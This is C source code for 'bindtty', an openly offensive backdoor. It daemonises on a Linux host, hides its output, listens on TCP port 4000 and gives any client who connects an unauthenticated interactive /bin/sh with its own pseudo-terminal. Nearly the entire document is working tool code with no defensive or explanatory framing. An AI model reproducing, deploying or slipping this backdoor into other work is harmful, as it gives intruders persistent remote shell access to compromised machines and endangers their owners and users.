/* bindtty - like bindshell, but with tty Features: - it can handle any number of clients - allocates tty for each session - no using termios.h/tty.h: compiles on most of gccs - linux specific ;(
by sd & wzt */
#include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h>
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <termios.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <fcntl.h> #include <stropts.h> #include <errno.h>
#define DEBUG
#define MAXUSER 10 #define HOME "/tmp"
#define TIOCSCTTY 0x540E #define TIOCGWINSZ 0x5413 #define TIOCSWINSZ 0x5414 #define ECHAR 0x1d
#define PORT 4000
#define BUF 32768
struct winsize { unsigned short ws_row; unsigned short ws_col; unsigned short ws_xpixel; unsigned short ws_ypixel; };
int pty,tty;
/* to avoid creating zombies ;) */ void sig_child(int i) { signal(SIGCHLD, sig_child); waitpid(-1, NULL, WNOHANG); }
void hangout(int i) { kill(0, SIGHUP); kill(0, SIGTERM); }
int ptym_open(char *pts_name) { char *ptr; int fd;
strcpy(pts_name,"/dev/ptmx"); if ((fd = open(pts_name,O_RDWR)) < 0) { printf("[-] open %s failed.\n",pts_name); return -1; } printf("[+] open %s : %d ok.\n","/dev/ptmx",fd);
if (grantpt(fd) < 0) { close(fd); return -2; } printf("[+] grantpt ok.\n");
if (unlockpt(fd) < 0) { close(fd); return -3; } printf("[+] unlockpt ok.\n");
if ((ptr = ptsname(fd)) == NULL) { printf("[-] get free pts name failed.\n"); close(fd); return -4; }
strcpy(pts_name,ptr);
return fd; }
int ptys_open(int fd,char *pts_name) { int fds;
if ((fds = open(pts_name,O_RDWR)) < 0) { printf("[-] open %s failed.\n",pts_name); close(fd); return -5; }
printf("[+] open %s ok.\n",pts_name);
if (ioctl(fds,I_PUSH,"ptem") < 0) { return fds; } printf("[+] set ptem ok.\n");
if (ioctl(fds,I_PUSH,"ldterm") < 0) { return fds; } printf("[+] set ldterm ok.\n");
if (ioctl(fds,I_PUSH,"ttcompat") < 0) { return fds; } printf("[+] set ttcompat ok.\n");
return fds; }
int open_tty() { char pts_name[20];
pty = ptym_open(pts_name);
tty = ptys_open(pty,pts_name);
if (pty >= 0 && tty >=0 ) return 1; return 0; }
/* bind a local port */ int listen_port(int port) { struct sockaddr_in my_addr,remote_addr; int sock_fd,sock_id; int size,flag = 1;
if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ) { #ifdef DEBUG perror("[-] socket"); #endif exit(1); }
my_addr.sin_family = AF_INET; my_addr.sin_port = port; my_addr.sin_addr.s_addr = 0;
setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){ #ifdef DEBUG perror("[-] bind"); #endif exit(1); }
if( listen(sock_fd,MAXUSER) == -1 ){ #ifdef DEBUG perror("[-] listen"); #endif exit(1); }
return sock_fd; }
int main() { int sock,port; int pid; struct sockaddr_in cli;
port = PORT; sock = listen_port(htons(port)); if (sock < 0) exit(0); printf("Daemon is starting..."); fflush(stdout); pid = fork(); if (pid !=0 ) { printf("OK, pid = %d\n", pid); return 0; }
chdir("/");
pid = open("/dev/null", O_RDWR); dup2(pid, 0); dup2(pid, 1); dup2(pid, 2); close(pid);
signal(SIGHUP, SIG_IGN); signal(SIGCHLD, sig_child);
while (1) { int scli; int slen;
slen = sizeof(cli); scli = accept(sock, (struct sockaddr *) &cli, &slen); if (scli < 0) continue; pid = fork(); if (pid == 0) { int subshell; fd_set fds; char buf[BUF]; char *argv[] = {"sh", "-i", NULL}; #define MAXENV 256 #define ENVLEN 256 char *envp[MAXENV]; char envbuf[(MAXENV+2) * ENVLEN]; int j, i; char home[256];
/* setup enviroment */ envp[0] = home; sprintf(home, "HOME=/tmp", HOME); j = 0; do { i = read(scli, &envbuf[j * ENVLEN], ENVLEN); envp[j+1] = &envbuf[j * ENVLEN]; j++; if ((j >= MAXENV) || (i < ENVLEN)) break; } while (envbuf[(j-1) * ENVLEN] != '\n'); envp[j+1] = NULL;
if (!open_tty()) { char msg[] = "Can't fork pty, bye!\n"; write(scli, msg, strlen(msg)); close(scli); exit(0); } setsid(); /* fork child */ subshell = fork(); if (subshell == 0) { /* close master */ close(pty); /* attach tty */ setsid(); ioctl(tty, TIOCSCTTY); /* close local part of connection */ close(scli); close(sock); signal(SIGHUP, SIG_DFL); signal(SIGCHLD, SIG_DFL); dup2(tty, 0); dup2(tty, 1); dup2(tty, 2); close(tty); execve("/bin/sh", argv, envp); } /* close slave */ close(tty);
signal(SIGHUP, hangout); signal(SIGTERM, hangout);
while (1) { /* watch tty and client side */ FD_ZERO(&fds); FD_SET(pty, &fds); FD_SET(scli, &fds); if (select((pty > scli) ? (pty+1) : (scli+1), &fds, NULL, NULL, NULL) < 0) { break; } if (FD_ISSET(pty, &fds)) { int count; count = read(pty, buf, BUF); if (count <= 0) break; if (write(scli, buf, count) <= 0) break; } if (FD_ISSET(scli, &fds)) { int count; unsigned char *p, *d; d = buf; count = read(scli, buf, BUF); if (count <= 0) break;
/* setup win size */ p = memchr(buf, ECHAR, count); if (p) { unsigned char wb[5]; int rlen = count - ((long) p - (long) buf); struct winsize ws;
/* wait for rest */ if (rlen > 5) rlen = 5; memcpy(wb, p, rlen); if (rlen < 5) { read(scli, &wb[rlen], 5 - rlen); }
/* setup window */ ws.ws_xpixel = ws.ws_ypixel = 0; ws.ws_col = (wb[1] << 8) + wb[2]; ws.ws_row = (wb[3] << 8) + wb[4]; ioctl(pty, TIOCSWINSZ, &ws); kill(0, SIGWINCH);
/* write the rest */ write(pty, buf, (long) p - (long) buf); rlen = ((long) buf + count) - ((long)p+5); if (rlen > 0) write(pty, p+5, rlen); } else if (write(pty, d, count) <= 0) break; } } close(scli); close(sock); close(pty);
waitpid(subshell, NULL, 0); vhangup(); exit(0); } close(scli); } }
|